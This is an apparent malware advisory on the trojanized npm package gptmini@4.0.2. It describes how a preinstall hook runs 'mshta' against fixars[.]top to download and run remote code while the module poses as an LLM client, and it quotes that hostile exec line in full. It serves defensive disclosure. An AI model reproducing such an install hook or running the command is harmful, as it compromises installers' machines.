gptmini@4.0.2

Analysis

Package gptmini@4.0.2 is a trojanized LLM API wrapper that executes a remote downloader during installation. The preinstall hook (node preinstall.js) runs child_process.exec('cmd /c "mshta hxxp://fixars[.]top"'), which uses the Windows mshta.exe binary (a known LOLBin) to fetch and execute arbitrary code from fixars[.]top on the installer's machine. The main module appears to be a functional LLM client, masking the malicious install-time behaviour.